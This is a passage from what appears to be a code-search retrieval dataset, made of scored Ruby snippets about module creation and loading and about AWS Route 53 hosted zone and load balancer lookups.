"6bd6dd51853342f4b976f7ead4f8712c", "score": "0.50674665", "text": "def create_module\n @routable = yes?(\"Should this module be routable? (y/n)\") ## double check to make sure we don't want this module to be routable\n @module = module_name_class ## should not use this ivar\n template \"module.js.coffee\", \"#{backbone_path}/apps/#{module_name_underscore}/#{module_name_underscore}_app.js.coffee\"\n end", "title": "" }, { "docid": "3077ff4ce25f602e588a6ff1f1f1c67d", "score": "0.5065965", "text": "def create_primitive(node, options = {})\n builder = DefinitionBuilder::Primitive.new(node, self, options)\n\n return builder.build\n end", "title": "" }, { "docid": "67da7eb7931fbe40a89482003367dfd2", "score": "0.5052029", "text": "def auto_create_module( key = true, &block )\n auto_constructor( key ) do | cname |\n new_constant = Module.new\n new_constant.send(:include, AutoCode)\n ret = const_set( cname, new_constant )\n new_constant.module_eval( &block ) if block\n ret\n end\n end", "title": "" }, { "docid": "fe5cf796a0ad069d78af9bf8366e2bf4", "score": "0.50495404", "text": "def parse_module\n pos = position\n type = keyword(:module) or return\n ws\n name = expect(Atom) || literal('<<') or expected(\"class name\")\n ws\n error(\"A module can not have a super class\") if @scanner.peek == ?<\n exps = kleene { parse_exp }\n keyword(:end) or expected(\"expression or \\'end\\'\")\n return E[pos, type.to_sym, name, :Object, exps]\n end", "title": "" }, { "docid": "7b71607a1c69dd8e22bbb4f6f7ecc26e", "score": "0.50478494", "text": "def node_import(p0) end", "title": "" }, { "docid": "c41869784a8b905b9eb7d85929178022", "score": "0.5036807", "text": "def add(type_, module_)\n for_type(type_).add(module_)\n end", "title": "" }, { "docid": "b36eb1b2770eb77f869b98d9ae93ae82", "score": "0.50350064", "text": "def module_parent; end", "title": "" }, { "docid": "090e61419996b5f5990c8c1454c9ca8f", "score": "0.50327545", "text": "def create_module\n\t\t\t\t@routable = yes?(\"Should this module be routable? (y/n)\") ## double check to make sure we don't want this module to be routable\n\t\t\t\t@module = module_name_class ## should not use this ivar\n\t\t\t\ttemplate \"module.js.coffee.erb\", \"#{backbone_path}/apps/#{module_name_underscore}/#{module_name_underscore}_app.js.coffee\"\n\t\t\tend", "title": "" }, { "docid": "c8c597408a7228da24f9923435b6f54a", "score": "0.5031833", "text": "def load_module requirename, includename\n require \"rbcurse/#{requirename}\"\n extend Object.const_get(\"#{includename}\")\n send(\"#{requirename}_init\") #if respond_to? \"#{includename}_init\"\n end", "title": "" }, { "docid": "e3799a5a096c5170cd33b78cc6ce656b", "score": "0.5031157", "text": "def modules\n load_and_get! :modules\n end", "title": "" }, { "docid": "02c1d4ed046da1bce3fe4a6f3f2f6d19", "score": "0.50240284", "text": "def test1()\n\n types = [TestClass, Numeric, Integer, Fixnum, Bignum, Float, Complex, String, Range, Array, Hash, NilClass, TrueClass,\n FalseClass, Kernel, Math, Comparable, Enumerable]\n \n types.each do |t|\n \n # output type name using the \"name\" method from the Module class\n puts \"Type Name: #{t.name}\"\n \n # output type's superclass, if t is an instanceof Class.\n # use \"superclass\" method from the Class class\n print \"Superclass: \"\n print \"#{t.superclass}\" if t.kind_of?(Class)\n print \"\\n\"\n\n # output modules included in the type\n # use \"included_modules\" method from the Module class\n print \"Included Modules: \"\n t.included_modules.each { |m| print \"#{m} \"}\n print \"\\n\"\n \n # output constants defined in the type.\n # use \"constants\" method from the Module class\n print \"Constants: \"\n t.constants.each { |c| print \"#{c} \"}\n print \"\\n\"\n \n # output class variables defined in the type, if any\n # use \"class_variables\" method from the Module class\n print \"Class Variables: \"\n t.class_variables.each { |c| print \"#{c} \"}\n print \"\\n\"\n \n # output class/static methods defined in the type\n # use \"singleton_methods\" method from the Object class\n print \"Class Methods: \"\n t.singleton_methods(false).each { |m| print \"#{m} \"}\n print \"\\n\"\n \n # output public instance methods defined in the type\n # use \"public_instance_methods\" from the Module class\n print \"Public instance methods: \"\n t.public_instance_methods(false).each { |m| print \"#{m} \"}\n print \"\\n\"\n \n # output protected instance methods defined in the type\n # use \"protected_instance_methods\" from the Module class\n print \"Protected instance methods: \"\n t.protected_instance_methods(false).each { |m| print \"#{m} \"}\n print \"\\n\"\n \n # output private instance methods defined in the type\n # use \"private_instance_methods\" from the Module class\n print \"Private instance methods: \"\n t.private_instance_methods(false).each { |m| print \"#{m} \"}\n print \"\\n\\n\"\n end\n \nend", "title": "" }, { "docid": "c27f6c6f108e1cecad104b05f21f7745", "score": "0.50229824", "text": "def _member_module=(n)\n @_member_module = n\n end", "title": "" }, { "docid": "81dedc99df5f90a7ba1942430f0dd49a", "score": "0.5019174", "text": "def module?\n false\n end", "title": "" }, { "docid": "7f2f968b9043f4add9d3d542638d2db1", "score": "0.50137806", "text": "def module_name?; end", "title": "" }, { "docid": "c06ebb7ff2ff3c64afaf7d089e88b8d8", "score": "0.49926367", "text": "def from_module(mod, candidate_rank = T.unsafe(nil), start_line = T.unsafe(nil)); end", "title": "" }, { "docid": "c06ebb7ff2ff3c64afaf7d089e88b8d8", "score": "0.49926367", "text": "def from_module(mod, candidate_rank = T.unsafe(nil), start_line = T.unsafe(nil)); end", "title": "" }, { "docid": "643d7bafceaec1a9f6c516d6c53af1ff", "score": "0.49918857", "text": "def add_module(m)\n ensure_valid\n @modules.add(self, m, true)\n end", "title": "" }, { "docid": "6dda0dc9c4bf3ee036852231675553a7", "score": "0.49867067", "text": "def primitive\n self.class.primitive\n end", "title": "" }, { "docid": "2cfa42a50fc3db0c73ade687039ae021", "score": "0.49785253", "text": "def describe_module(mod)\n Module === mod or\n raise TypeError, \"expected Module, got: #{mod.inspect}\"\n num_brackets = 0\n object = mod\n while (instance = singleton_instance(object))\n num_brackets += 1\n object = instance\n end\n\n if object.is_a?(Module)\n description = module_name(object)\n if description.empty?\n is_class = Class === object\n description = \"unnamed #{is_class ? 'Class' : 'Module'}\"\n end\n else\n description = \"#{module_name(object.class)} instance\"\n end\n\n if num_brackets == 0\n description\n else\n \"#{'['*num_brackets}#{description}#{']'*num_brackets}\"\n end\n end", "title": "" }, { "docid": "e67596b9b7ad932971e37485b2e2c047", "score": "0.49745142", "text": "def define_module(node, constant)\n add_self(constant)\n\n definitions.add(:constant, constant.name, constant)\n\n associate_node_definition(node, constant)\n\n @definitions << constant\n end", "title": "" }, { "docid": "e179d54626b20a3b8bed18453a357e73", "score": "0.49736047", "text": "def mod(name)\n @runner.master.modules[name]\n end", "title": "" }, { "docid": "8924f34dd471cb5b432db441faa71a2e", "score": "0.49731484", "text": "def from_module(klass, name, target = T.unsafe(nil)); end", "title": "" }, { "docid": "8924f34dd471cb5b432db441faa71a2e", "score": "0.49731484", "text": "def from_module(klass, name, target = T.unsafe(nil)); end", "title": "" }, { "docid": "c6e09fd8253c3be4e1e41ad092796c21", "score": "0.49728012", "text": "def modules ; @generator.modules ; end", "title": "" }, { "docid": "4f2e82a9907cb9b3d0cd3fb448f7b5eb", "score": "0.49631432", "text": "def koan_8\n m = Module.new do\n attribute 'o'\n end\n\n c = Class.new do\n include m\n extend m\n end\n\n assert{ not c.o? }\n assert{ c.o = 28 }\n assert{ c.o == 28 }\n assert{ c.o? }\n\n o = c.new\n\n assert{ not o.o? }\n assert{ o.o = 27 }\n assert{ o.o == 27 }\n assert{ o.o? }\n end", "title": "" }, { "docid": "9db760ae7fd1feeddca3434ba51a9828", "score": "0.4956704", "text": "def module_name=(_arg0); end", "title": "" }, { "docid": "7e1795e7a14127f251338d26c920f9af", "score": "0.49510837", "text": "def mod_foo\n 'instance method called from module Foo'\n end", "title": "" }, { "docid": "223801b338a63a0a8c3e4bd522bf1b29", "score": "0.4948227", "text": "def module(name)\n default_module(name).merge(CUSTOM_MODULES[name])\n end", "title": "" }, { "docid": "ad094182757e7dce1da57aae6e4f179f", "score": "0.49475655", "text": "def property_module\n @property_module ||= begin\n mod = Module.new\n class_eval do\n include mod\n end\n mod\n end\n end", "title": "" }, { "docid": "2c4f1affbfa6cf85288b7b5d512382c8", "score": "0.49459887", "text": "def add_supported_modules\n PuppetForge::Module.where( supported: 'true' ).unpaginated.each do |supported|\n mod \"#{supported.owner.username}/#{supported.name}\"\n end\nend", "title": "" }, { "docid": "87047f63d90e03346fe02a7e5a97f34d", "score": "0.49409437", "text": "def module(ident)\n path = ModuleModelItem.instance_path(self.root.path, ident)\n ModuleModelItem.new self, path\n end", "title": "" }, { "docid": "273f672207231ab22619220564ae79b0", "score": "0.4938336", "text": "def generate_modules\n # A resource provider type will look like:\n # \"Microsoft.Storage\": { \n # \"management\": {\n # \"2016-01-01\": [\"*\"]\n # }\n # }\n #\n # Here \"Microsoft.Storage\" is the resource_provider_name, which contains the mode_obj\n # \"management\" is the mode_name. mode_obj may have another mode 'data'.\n # mode_obj contains the resource_types_obj\n #\n @profile['resourceTypes'].each do |resource_provider_name, mode_obj|\n # For each resource provider (such as 'Microsoft.Storage'), create a\n # new ModuleDef Object.\n module_def_obj = ModuleDef.new\n module_def_obj.profile_name = @profile['name']\n\n mode_obj.each do |mode_name, resource_types_obj|\n module_def_obj.module_requires << @dir_metadata[resource_provider_name][mode_name]['module_require']\n @class_name = get_ruby_specific_resource_type_name(resource_provider_name)\n module_def_obj.module_name = @module_definition_def_obj.module_name = \"#{@class_name}\"\n\n @client_def_obj.mode = mode_name\n if(mode_name == 'management')\n module_def_obj.management_class_name = \"#{get_ruby_specific_resource_type_name(resource_provider_name)}ManagementClass\"\n module_def_obj.management_mode = true\n else\n module_def_obj.data_class_name = \"#{get_ruby_specific_resource_type_name(resource_provider_name)}DataClass\"\n module_def_obj.data_mode = true\n if(CLIENTS_WITH_NO_BASE_URL.include? module_def_obj.data_class_name)\n module_def_obj.base_url_to_be_included = false\n end\n end\n\n resource_types_obj.each do |resource_type_version, resource_types|\n base_file_path = \"#{@sdk_path}/#{@dir_metadata[resource_provider_name][mode_name]['path']}/lib/#{resource_type_version}/generated/#{@dir_metadata[resource_provider_name][mode_name]['module_require']}.rb\"\n require base_file_path\n\n resource_types.each do |resource_type|\n generate_operation_types(resource_provider_name, resource_type, resource_type_version, mode_name, module_def_obj)\n end\n\n generate_model_types(resource_provider_name, resource_type_version, mode_name, module_def_obj)\n if(mode_name == 'management')\n operation_types = module_def_obj.management_operation_types\n else\n operation_types = module_def_obj.data_operation_types\n end\n\n operation_types.each_with_index do |operation_type, index|\n if(check_available_after_index(operation_type, index, operation_types))\n operation_type[:operation_name_ruby] = 'DO_NOT_ADD'\n end\n end\n end\n end\n\n file = get_module_file resource_provider_name, module_def_obj\n file.write(module_def_obj.get_renderer(ProfileTemplates.module_template(@sdk_path, @individual_gem_profile)))\n @client_def_obj.module_objs << module_def_obj\n end\n end", "title": "" }, { "docid": "b9c992ce4ec96adb82fc111908e86e3e", "score": "0.49358892", "text": "def load_module requirename, includename\n require \"canis/#{requirename}\"\n extend Object.const_get(\"#{includename}\")\n send(\"#{requirename}_init\") #if respond_to? \"#{includename}_init\"\n end", "title": "" }, { "docid": "b9c992ce4ec96adb82fc111908e86e3e", "score": "0.49358892", "text": "def load_module requirename, includename\n require \"canis/#{requirename}\"\n extend Object.const_get(\"#{includename}\")\n send(\"#{requirename}_init\") #if respond_to? \"#{includename}_init\"\n end", "title": "" }, { "docid": "f3eb15d3b92f4f7941f778a6c5be058b", "score": "0.4933558", "text": "def extending(*modules, &block); end", "title": "" }, { "docid": "329b39a8d33c020ee95e3e89f697d7c6", "score": "0.49303633", "text": "def constantize\n Module.instance_eval(\"::#{self}\")\n end", "title": "" } ]
a7ff1ef8c760ee35986c978524d0bebf
The Amazon Route 53 hosted zone ID associated with the load balancer
[ { "docid": "40114c860135c611285b4028b2392ea7", "score": "0.71045613", "text": "def canonical_hosted_zone_id\n @alb.canonical_hosted_zone_id\n end", "title": "" } ]
[ { "docid": "3325b0cbf40e524551973f23f67d8619", "score": "0.80487156", "text": "def zone_id\n route_53_client.\n list_hosted_zones[:hosted_zones].\n each.\n select { |z| z[:name] == zone }.\n map {|z| z[:id] }.\n first\n end", "title": "" }, { "docid": "a51e9d228da2303693f008c6e18305b9", "score": "0.7391575", "text": "def zone_id(zone)\n\t\t# Example host_url: /hostedzone/zoneID\n\t\treturn zone.host_url.split('/')[2]\n\tend", "title": "" }, { "docid": "9b3ac65823ffebaaa16350356932f0bb", "score": "0.7292503", "text": "def zone_identifier; end", "title": "" }, { "docid": "3f6afb342eb620813bcda132c53bbdb6", "score": "0.7256178", "text": "def canonical_hosted_zone_name_id\n @elb.canonical_hosted_zone_name_id\n end", "title": "" }, { "docid": "12c8a1cda6cd3fa20563024d7a710d18", "score": "0.7086695", "text": "def vpc_zone_identifier\n data[:vpc_zone_identifier]\n end", "title": "" }, { "docid": "6f3f77521198fc34797216621feb9e44", "score": "0.6835034", "text": "def get_zone_by_name(domain)\n client = Aws::Route53::Client.new\n\n zones = client.list_hosted_zones_by_name({\n dns_name: domain,\n max_items: 1\n })\n zones.hosted_zones[0].id.tr(\"/hostedzone/\", \"\")\nend", "title": "" }, { "docid": "b4696c287d8225b3ce73042ab2732296", "score": "0.6680527", "text": "def zone_id\n @zone_id ||= @client.zones.all_zones(account_id).data.find { |z|\n z.name == @opts.get('domain')\n }.id\n end", "title": "" }, { "docid": "53ed1299bd0c3a721ccdc3668745c4a8", "score": "0.6679541", "text": "def canonical_hosted_zone_name\n @elb.canonical_hosted_zone_name\n end", "title": "" }, { "docid": "5fdae8ef4857d3846185af6271e81b6e", "score": "0.66076744", "text": "def zone_name\n @name\n end", "title": "" }, { "docid": "9836a5a19437d6132f91861411c24a0d", "score": "0.65711874", "text": "def _getZoneID(domain)\r\n zone = PublicSuffix.parse(domain)\r\n \r\n response = RestClient.get \"https://api.cloudflare.com/client/v4/zones?name=#{zone.domain}\", _getCFHeaders()\r\n \r\n if response.code != 200\r\n raise \" + Unable to fetch zone from Cloudflare\"\r\n end\r\n return JSON.parse(response)[\"result\"][0][\"id\"]\r\nend", "title": "" }, { "docid": "49202d0da683d80c7d9db5eb7c8c4c31", "score": "0.6513795", "text": "def get_zone_id\n uri = URI.parse(@cf_uri)\n params = \"name=#{@zone}\"\n request = \"Net::HTTP::Get.new(uri.path+'?'+params, headers)\"\n response = \"json.fetch('result').first['id']\"\n make_request(params, uri, request, response)\n end", "title": "" }, { "docid": "72f73051b2369041269164d78e2177a6", "score": "0.6479516", "text": "def host_zone(hostname)\n HOST_ZONE[hostname]\n end", "title": "" }, { "docid": "5adb589ffa40e7c1b1d1db4dca67acc4", "score": "0.6462222", "text": "def domain zone=nil\n if zone\n record[:hosted_zone_id] = id_by_name zone\n end\n record[:hosted_zone_id]\n end", "title": "" }, { "docid": "fd0afafd04a04b781b50e93815a8e84b", "score": "0.6348065", "text": "def zone_name\n @data.env.current_zone_name\n end", "title": "" }, { "docid": "81a26eeffcb90792615001e085ff59f3", "score": "0.63190055", "text": "def canonical_identifier\n canonical_zone.identifier\n end", "title": "" }, { "docid": "9ea4d60e7a0238f78d9f2d39b70902a2", "score": "0.6307138", "text": "def lookup_record_id_route53(zone)\n @tries ||= 0\n rt_connect = determine_cname_api(zone)\n page_rate = 100 # Route 53 api can return max 100 records at at time\n record_list = rt_connect.list_hosted_zones_by_name({\n max_items: page_rate,\n })\n loop do\n record_list.hosted_zones.each do |record|\n @hosted_zone = record.name.chomp('.') # removes trailing period\n if @hosted_zone == zone\n return record.id\n end\n end\n # Iterate any subsequent sets of dns names\n if record_list.is_truncated\n record_list.next_dns_name\n else\n return nil\n end\n end\n rescue Aws::Route53::Errors::Http500Error => e\n api_wait = (@tries += 1)**2\n logger.warn \"Error connecting to Route 53, retrying in #{api_wait} seconds\"\n logger.warn \"#{e}\"\n sleep(api_wait)\n retry unless @tries >= 4\n end", "title": "" }, { "docid": "fb99f6c166912ad7cfd3f95b8c663387", "score": "0.6197766", "text": "def zone_identifiers; end", "title": "" }, { "docid": "fb99f6c166912ad7cfd3f95b8c663387", "score": "0.6197766", "text": "def zone_identifiers; end", "title": "" }, { "docid": "fb99f6c166912ad7cfd3f95b8c663387", "score": "0.6197766", "text": "def zone_identifiers; end", "title": "" }, { "docid": "fb99f6c166912ad7cfd3f95b8c663387", "score": "0.6197766", "text": "def zone_identifiers; end", "title": "" }, { "docid": "1c1f9cfd9330b7355bccc14432294d15", "score": "0.6172202", "text": "def zone zone_id\n ensure_connection!\n resp = connection.get_zone zone_id\n if resp.success?\n Zone.from_gapi resp.data, connection\n else\n nil\n end\n end", "title": "" }, { "docid": "a76d7e2841ff84145779b3f43214c669", "score": "0.6168275", "text": "def fetch_zone\n route53 = Fog::DNS.new(connection_params)\n @zone = route53.zones.get(@current_resource.zone_id)\nend", "title": "" }, { "docid": "79e5abba61cc3664882efb00108b93dc", "score": "0.6120769", "text": "def path\n \"/hostedzone/#{id}\"\n end", "title": "" }, { "docid": "7c30539a550b0e249907da4e0f61c8c3", "score": "0.6041975", "text": "def zone_name\n caz_data['name']\n end", "title": "" }, { "docid": "42f3b8fffdf19ad22d02f5d754a008cf", "score": "0.60324824", "text": "def load_balancer_ip_address\n @environment['load_balancer_ip_address']\n end", "title": "" }, { "docid": "8138d78ad5139c804fa67ab964127b4c", "score": "0.6007072", "text": "def zone zone_id\n ensure_service!\n gapi = service.get_zone zone_id\n Zone.from_gapi gapi, service\n rescue Google::Cloud::NotFoundError\n nil\n end", "title": "" }, { "docid": "8aeb3f038bdfc90ab21a873a87d02a6f", "score": "0.60034645", "text": "def ec2_zone\n Zonify.tree(Zonify.zone(instances, load_balancers))\n end", "title": "" }, { "docid": "118a01c99ee2cb4c0296388554d4e5c8", "score": "0.59371567", "text": "def zone(resource)\n resource.availability_zone.chop\n end", "title": "" }, { "docid": "d608b521ca5eb0880d5cb49372f594ef", "score": "0.59250295", "text": "def instance_zone\n result = lookup_metadata \"instance\", \"zone\"\n result.nil? ? nil : result.split(\"/\").last\n end", "title": "" }, { "docid": "31129b1810e54624968ec0bf971b1e68", "score": "0.58675563", "text": "def route53_zone(suffix)\n suffix_ = Zonify.dot_(suffix)\n relevant_zone = r53.list_hosted_zones.select do |zone|\n suffix_.end_with?(zone[:name])\n end.sort_by{|zone| zone[:name].length }.last\n if relevant_zone\n zone_id = relevant_zone[:aws_id]\n relevant_records = r53.list_resource_record_sets(zone_id).map do |rr|\n if rr[:name].end_with?(suffix_)\n rr[:name] = Zonify.read_octal(rr[:name])\n rr\n end\n end.compact\n [relevant_zone, Zonify.tree_from_right_aws(relevant_records)]\n end\n end", "title": "" }, { "docid": "b2302596783abfa273b4f52dda458a02", "score": "0.586129", "text": "def checker_id\n Helper.get_zone_checker(zone)\n end", "title": "" }, { "docid": "6688547778bff7041c293b5193c76ed8", "score": "0.5848831", "text": "def get_zone hash\n self.client.get_hosted_zone hash\n end", "title": "" }, { "docid": "1370fa82651e43672e10cffa72bf84d2", "score": "0.58486515", "text": "def availability_zone\n @cluster.availability_zone\n end", "title": "" }, { "docid": "885b206ba4ef7e139e21cafd3536627f", "score": "0.5833847", "text": "def get_node_availability_zone\n return @ec2_description.reservations[0].instances[0].placement.availability_zone\n end", "title": "" }, { "docid": "8df056654653ad9e822f8222ad7f705d", "score": "0.5833822", "text": "def retrieve_all_hosted_zone_ids(r53)\n begin\n response = r53.list_hosted_zones\n rescue Aws::Route53::Errors::AccessDenied\n _log_error 'API Key lacks permission to List Hosted Zones. Ensure the ListHostedZones permission is set or provide a Hosted Zone ID.'\n return nil\n end\n response.hosted_zones.map { |hz| hz.id.split('/')[2] if hz }\n end", "title": "" }, { "docid": "7e1c6e38b3d9f40a7d5c000cabaf7253", "score": "0.5831872", "text": "def get_zone_by_name(name)\n if name.match(/^Z[A-Z0-9]{13}$/) # id is 14 char upcase string starting with Z\n name\n else\n matches = route53.list_hosted_zones.hosted_zones.select do |zone|\n zone.name.match(name)\n end\n case matches.size\n when 0\n say \"no hosted zones matching #{name}\", :red\n exit\n when 1\n matches.first.id\n else\n say \"ambiguous hosted zone, matches: #{matches.map(&:name).join(', ')}\", :yellow\n exit\n end\n end\n end", "title": "" }, { "docid": "b93227c5e644ba7d094b112a670ca634", "score": "0.5816454", "text": "def get_elb_dns(name)\n desc = elb.describe_load_balancers(load_balancer_names: [name]).load_balancer_descriptions[0]\n ['dualstack.' + desc.dns_name, desc.canonical_hosted_zone_name_id]\n end", "title": "" }, { "docid": "fbeded29f439a0934a16c0d3a2bf25f8", "score": "0.58014053", "text": "def zone_identifiers\n zone_info.map(&:identifier)\n end", "title": "" }, { "docid": "40f77a23e6cf642cf4cce76861cb3877", "score": "0.5800424", "text": "def vpc_id\n @alb.vpc_id\n end", "title": "" }, { "docid": "0aa21ca1b95da83d13d6e5cea89ceb59", "score": "0.57998836", "text": "def calc_az_from_hostname\n return @availability_zone if @availability_zone\n\n zones = @environment.availability_zones\n index = ((@hostname.numeric_part || 1)-1) % zones.size\n zones[index]\n end", "title": "" }, { "docid": "427e5ee560b94ec686e42f65f8569a4c", "score": "0.5787144", "text": "def vpc_id\n data[:vpc_id]\n end", "title": "" }, { "docid": "427e5ee560b94ec686e42f65f8569a4c", "score": "0.5787144", "text": "def vpc_id\n data[:vpc_id]\n end", "title": "" }, { "docid": "427e5ee560b94ec686e42f65f8569a4c", "score": "0.5787144", "text": "def vpc_id\n data[:vpc_id]\n end", "title": "" }, { "docid": "427e5ee560b94ec686e42f65f8569a4c", "score": "0.5787144", "text": "def vpc_id\n data[:vpc_id]\n end", "title": "" }, { "docid": "427e5ee560b94ec686e42f65f8569a4c", "score": "0.5787144", "text": "def vpc_id\n data[:vpc_id]\n end", "title": "" }, { "docid": "427e5ee560b94ec686e42f65f8569a4c", "score": "0.5787144", "text": "def vpc_id\n data[:vpc_id]\n end", "title": "" }, { "docid": "fe2b9e2e40c7e00ad5feb1f21514a972", "score": "0.57845175", "text": "def zone\n ip.octets[0..-(1+significant_octets)].reverse.join('.')\n end", "title": "" }, { "docid": "78b46bafe06f8de98d226e092dcca92a", "score": "0.5768714", "text": "def dns_name\n @elb.dns_name\n end", "title": "" }, { "docid": "1b9569f39ce94754513b1fa5efbf8d8a", "score": "0.5743294", "text": "def zone\n @rdatelist.getTzid.getID\n end", "title": "" }, { "docid": "18ecd04d6cc7458f95cfd3613c4c9a83", "score": "0.5736907", "text": "def vpc_id\n @rtb.vpc_id\n end", "title": "" }, { "docid": "e9f1e3f661d82eec2d5d46c5671f38e6", "score": "0.5729491", "text": "def zone_info; end", "title": "" }, { "docid": "194d339bc4ccd1152e8bfc7852eac910", "score": "0.5721017", "text": "def this_public_hostname\n return zz[:public_hostname]\n end", "title": "" }, { "docid": "13a53a877351c59785dbcdc82c3b01db", "score": "0.57167715", "text": "def vpc_id\n @instance.vpc_id\n end", "title": "" }, { "docid": "cae633e56d1801d78cc11ced43595f00", "score": "0.57153046", "text": "def determine_bucket_host\n s3_region = s3_client.get_bucket_location(bucket: bucket_name).location_constraint\n \"#{bucket_name}.s3-#{s3_region}.amazonaws.com\"\n end", "title": "" }, { "docid": "638c99e62fa5bf27c4d8e2d9359f0004", "score": "0.57111406", "text": "def vpc_id\n @elb.vpc_id\n end", "title": "" }, { "docid": "d9f0de57be167a2503e5dce98b656eb1", "score": "0.56865597", "text": "def zone\n self\n end", "title": "" }, { "docid": "4a7a9aab4b22ba968f86b7027c4cf42e", "score": "0.5671233", "text": "def load_balancer_arn\n @alb.load_balancer_arn\n end", "title": "" }, { "docid": "bb200d86b3bc88342630767556531433", "score": "0.5658194", "text": "def route53_zone(suffix)\n suffix_ = Zonify.dot_(suffix)\n relevant_zone = r53.zones.select do |zone|\n if @zone\n @zone == zone.id\n else\n suffix_.end_with?(zone.domain)\n end\n end.sort_by{|zone| zone.domain.length }.last\n if relevant_zone\n relevant_records = relevant_zone.records.all!.map do |rr|\n if rr.name.end_with?(suffix_)\n rr.attributes.merge(:name=>Zonify.read_octal(rr.name))\n end\n end.compact\n [relevant_zone, Zonify.tree_from_right_aws(relevant_records)]\n end\n end", "title": "" }, { "docid": "7188fa43c988cdc72430c0b82ec0e002", "score": "0.56508124", "text": "def code\n return @zone_code if @zone_code\n return nil unless @tz\n @tz.period_for_utc(Time.now.utc).zone_identifier.to_s\n end", "title": "" }, { "docid": "1f68698f251702daa72dfc86e3cd8caa", "score": "0.5649339", "text": "def all_linked_zone_identifiers; end", "title": "" }, { "docid": "8f50828b09c749580f0c316a7b740395", "score": "0.56457925", "text": "def set_load_balancer_name\n str = \"#{@cloud.name.to_s.gsub(/[^[:alnum:]-]/, '')}-#{@name.to_s.gsub(/[^[:alnum:]-]/, '')}\"\n str = str[str.size-32,32] if str.size > 32\n return str\n end", "title": "" }, { "docid": "66a9961840da669e068e2ebb6652229f", "score": "0.5645539", "text": "def dns_name\n @alb.dns_name\n end", "title": "" }, { "docid": "9ac6f6ea7144d572fb5b124554e1f052", "score": "0.5645153", "text": "def create_zone(domain)\n sleep 1\n client = Aws::Route53::Client.new\n client.create_hosted_zone(\n name: domain,\n caller_reference: readable_timestamp, # required, different each time\n hosted_zone_config: {\n comment: \"integrationtest\",\n private_zone: false\n }\n )\nend", "title": "" }, { "docid": "ad5156744cbcedcd76a06fc795b79b95", "score": "0.56386536", "text": "def tzid()\n @tzid\n end", "title": "" }, { "docid": "b9f5598aa22cf49f99e53d65caa6b706", "score": "0.56356776", "text": "def dns_name instance\n \"#{instance}\"\n end", "title": "" }, { "docid": "c6b91c41e6cb544448d3f397f003598a", "score": "0.5635542", "text": "def vpc_id\n data.vpc_id\n end", "title": "" }, { "docid": "c6b91c41e6cb544448d3f397f003598a", "score": "0.5635542", "text": "def vpc_id\n data.vpc_id\n end", "title": "" }, { "docid": "c6b91c41e6cb544448d3f397f003598a", "score": "0.5635542", "text": "def vpc_id\n data.vpc_id\n end", "title": "" }, { "docid": "03b8519986fe51672cf69024a9f0cf4e", "score": "0.5621578", "text": "def us_zone_identifiers; end", "title": "" }, { "docid": "fc554d41033caead1bf555bc380a91b7", "score": "0.56091714", "text": "def zone_names; end", "title": "" }, { "docid": "1e375e1bafbd9218376dc101b16bfcee", "score": "0.5594179", "text": "def get_cloud_id\n case ENV['DEPLOYMENT']\n when /ec2-east/\n return 1\n when /ec2-eu/\n return 2\n when /ec2-west/\n return 3\n when /ec2-ap/\n return 4\n end\n end", "title": "" }, { "docid": "d417f0fae98322c392c6d0c2229161f7", "score": "0.5594152", "text": "def identifier\n tzid\n end", "title": "" }, { "docid": "bd39f4928381bd93962c752751ee5409", "score": "0.5587526", "text": "def ip()\n \"172.16.#{@project.id}.#{@index + 2}\"\n end", "title": "" }, { "docid": "5b9eca932df192e4fdba196c4ffaa84a", "score": "0.55868226", "text": "def vpc_id\n first_subnet = @subnets.first\n first_subnet.vpc_id if first_subnet\n end", "title": "" }, { "docid": "4c4dde284393f8ae27bfc2a258a53792", "score": "0.5586815", "text": "def vpc_id\n @cluster.vpc_id\n end", "title": "" }, { "docid": "320f68ae59d8a458da1a3dce67596956", "score": "0.5574642", "text": "def delete_zone(zone_id)\n sleep 1\n client = Aws::Route53::Client.new\n client.delete_hosted_zone(\n id: zone_id\n )\nend", "title": "" }, { "docid": "637e65721146c55c13dc699cbdd81993", "score": "0.5565461", "text": "def identifier\n @tzinfo_timezone.identifier\n end", "title": "" }, { "docid": "34785b8cee6ce4fd84c13f4c6dc5fa28", "score": "0.5561973", "text": "def zone_uuids()\n q = Net::HTTP::Get.new('/api/v5/zones')\n q['X-Api-Key'] = @apikey\n r = @api.request(q)\n return r.code, r.body\n end", "title": "" }, { "docid": "5cacc0a783af19cde035ba46e490378f", "score": "0.55535316", "text": "def subnet_id\n @instance.subnet_id\n end", "title": "" }, { "docid": "2daf5472909ac78df9a828cdcc9ed638", "score": "0.55480343", "text": "def get_fqdn()\n begin\n public_ip = get_public_ip\n md5hash = Digest::MD5.hexdigest(public_ip)\n return @node_hostname_prefix + md5hash[0,16] + \".\" + get_zonename\n rescue => err\n print \"Exception: #{err}\"\n err\n end \n end", "title": "" }, { "docid": "b426cb96214b3fc4e9a47f353b8418f1", "score": "0.55477136", "text": "def availability_zone\n data[:availability_zone]\n end", "title": "" }, { "docid": "b426cb96214b3fc4e9a47f353b8418f1", "score": "0.55477136", "text": "def availability_zone\n data[:availability_zone]\n end", "title": "" }, { "docid": "b426cb96214b3fc4e9a47f353b8418f1", "score": "0.55477136", "text": "def availability_zone\n data[:availability_zone]\n end", "title": "" }, { "docid": "d7e0fd7fd7d7c56ba971594116bc99e6", "score": "0.5541283", "text": "def by_name name\n begin\n self.get_zone( :id => \n list_zones.find { |z| z[:name] == name }[:id]\n )\n rescue NoMethodError\n puts '='*80 + \"\\n Failed to find hosted DNS zone by name: #{name}\\n\" +'='*80\n nil\n end\n end", "title": "" }, { "docid": "9ff6d64ccda27180051a6c60356b07e0", "score": "0.5535952", "text": "def identifier\n @real_timezone ? @real_timezone.identifier : @identifier\n end", "title": "" }, { "docid": "9ff6d64ccda27180051a6c60356b07e0", "score": "0.5535952", "text": "def identifier\n @real_timezone ? @real_timezone.identifier : @identifier\n end", "title": "" }, { "docid": "2eb1a90e54766d0395702c88106f972e", "score": "0.5535722", "text": "def arn\n cloud_desc.db_instance_arn\n end", "title": "" }, { "docid": "2eb1a90e54766d0395702c88106f972e", "score": "0.5535722", "text": "def arn\n cloud_desc.db_instance_arn\n end", "title": "" }, { "docid": "7e9cff3ed5b620c415b008a7a5f66ca7", "score": "0.5528218", "text": "def zone_template\n @zone_template ||= ZerigoDNS::ZoneTemplate.find(zone_template_id)\n end", "title": "" }, { "docid": "c6acc09add7bbe37cf58f9fba929f13f", "score": "0.55263215", "text": "def local_dns_name\n return @local_dns_name\n end", "title": "" }, { "docid": "dbb8bfd3b39e02c715402c8752146dc6", "score": "0.5520719", "text": "def instance_id\n @grpc.backup.split(\"/\")[3]\n end", "title": "" }, { "docid": "b0816c597e0b734408582a9f2a9517ee", "score": "0.5518578", "text": "def 